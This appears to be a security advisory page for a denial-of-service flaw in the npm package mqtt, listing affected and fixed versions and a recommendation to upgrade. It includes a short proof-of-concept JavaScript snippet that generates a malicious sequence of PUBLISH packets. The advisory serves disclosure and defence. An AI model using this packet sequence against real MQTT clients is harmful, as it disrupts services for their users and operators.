Denial of Service in mqtt
Affected releases · mqtt
- 2.x2.0.0 – 2.14.0Fixed in 2.15.0
On 2.x, the newest line:
npm install mqtt@2.15.0Not affected
5.0.0 – 5.16.1
60 releases, latest
Affected
2.0.0 – 2.14.0
34 releases
Fixed
2.15.0 – 2.18.9
16 releases
Is your project affected?
Paste your package.json, or type the range you declare for mqtt. It is read in your browser and sent nowhere.
What happens
Affected versions of mqtt do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.
The vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.
Proof of Concept
The following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.
var mqttp = require('mqtt-packet');
var packets = [];
for(var i=0; i<=1000;i++){
packets.push(
mqttp.generate({
cmd:'publish',
topic:Buffer.from('hello'),
payload:Buffer.from('world'),
retain: false,
dup: false,
messageId: ++i,
qos: 1
})
)
}
Recommendation
Update to version 2.15.0 or later.